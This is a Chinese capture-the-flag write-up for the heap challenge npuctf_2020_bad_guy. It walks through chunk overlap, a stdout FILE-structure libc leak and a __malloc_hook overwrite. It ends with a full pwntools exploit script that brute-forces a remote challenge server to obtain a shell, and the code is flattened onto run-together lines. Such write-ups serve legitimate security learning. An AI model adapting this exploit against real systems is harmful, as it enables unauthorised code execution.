本文主要是介绍IO_FILE(npuctf_2020_bad_guy),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
是一道入门IO_FILE的题目
保护:
分析:
Add:
Edit:
dele
思路
没有常见的off-by-null,和uaf,但是edit函数可以编辑任意大小的size,且最多malloc10次,edit4次
那么就可以利用堆重叠进行攻击
因为这题需要爆破,所以为了在本地便于调试所以关闭系统的地址随机化(不是永久的)
1.将chunk2放入到0x70fastbin,便于后面的修改fd指针指向__IO_2_1_stdout的上方处
malloc(0,0x10)malloc(1,0x10)malloc(2,0x60)malloc(3,0x10)free(2)
2.造成堆重叠,即chunk2和chunk3进行重叠形成一个0x90的重叠chunk,再将它放入到unsortbin中
payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)edit(0,len(payload),payload)free(1)
3.通过malloc切割unsortbin中的大小使它指向0x555555605040
malloc(4,0x10)
这样就可以修改0x555555605040的最后2个字节为0x25dd(因为这个地方处于_IO_2_1_stdout的上方,刚好有个0x7f的位置,可以用作fakechunk,和通过fastattack进行写入到__malloc_hook一样的原理)
4.写入IO_FILE的flag值(这里不懂的可以先去学下利用IO_stdout泄漏libc!!很重要)
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)edit(0,len(payload),payload)malloc(5,0x60)payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)malloc(6,0x60,payload)
完成对应的flag值和_IO_write_base,_IO_write_ptr,_IO_write_end等值的设置后控制台就会自动输出你缓存区中的信息,所以你在打_IO_FILE时最好是在unsortbin中构造一些数据,便于泄漏libc
最后就是简单的通过fastbin attack + __malloc_hook进行getshell了
补充:之前做题一直搞不懂ubuntu16.0.4使用的glibc的具体版本,所以就一直下载错了版本从而导致远程打不出来,比如你在glibc-all-in-one中的下载列表中有这些:
而实际上16.04使用的是2.23-0ubuntu11_amd64,如果你使用的是2.23-0ubuntu11.3_amd64或者2.23-0ubuntu3_amd64那你的one_gadget会有偏差从而导致远程打不出来。因为glibc-all-in-one使用的是清华源,所以2.23-0ubuntu11_amd64会出现找不到的情况,那么就需要将它的源换成国外的进行代理下载,当然自己手动下载也是可以的,不过记得下载debug包!!!(详细的步骤我博客中有)
完整EXP
#! /usr/bin/python
from pwn import *
#import syscontext.terminal = ['terminator', '-x', 'sh', '-c']
#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')binary = "./npuctf_2020_bad_guy"one = [0x45216,0x4526a,0xf02a4,0xf1147] #2.23(64)
#idx = int(sys.argv[1])global p
local = 1
if local:p = process(binary)e = ELF(binary)libc = e.libc
else:p = remote("node4.buuoj.cn","29728")e = ELF(binary)libc = e.libc#libc = ELF('./libc_32.so.6')################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()def z(s='b main'):gdb.attach(p,s)def logs(mallocr,string='logs'):if(isinstance(mallocr,int)):print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))else:print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))def pa(s='1'):log.success('pause : step---> '+str(s))pause()def info(data,key='info',bit=64):if(bit == 64):leak = u64(data.ljust(8, b'\0'))else:leak = u32(data.ljust(4, b'\0'))logs(leak,key)return leak################################ Function ############################################
def malloc(i,s,c = 'A'):sla('>> ','1')sla('Index :',str(i))sla('size:',str(s))sa('Content:',c)
def edit(i,s,c = 'A'):sla('>> ','2')sla('Index :',str(i))sla('size:',str(s))sa('content:',c)
def free(i):sla('>> ','3')sla('Index :',str(i))
################################### Statr ############################################
def pwn():malloc(0,0x10)malloc(1,0x10)malloc(2,0x60)malloc(3,0x10)free(2)payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)edit(0,len(payload),payload)free(1)malloc(4,0x10)payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)edit(0,len(payload),payload)malloc(5,0x60)payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)malloc(6,0x60,payload)pa()libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000)malloc(7,0x60)free(7)payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91)edit(0,len(payload),payload)malloc(8,0x60)payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3]))malloc(9,0x60,payload)sla('>> ','1')sla('Index :',str(10))sla('size:',str(10))p.interactive()
################################### End ##############################################
while 1:try:pwn()breakexcept KeyboardInterrupt:p.close()p = remote("node4.buuoj.cn","29728")#p = process(binary)except :p.close()#p = process(binary)p = remote("node4.buuoj.cn","29728")
成功截图:
这篇关于IO_FILE(npuctf_2020_bad_guy)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!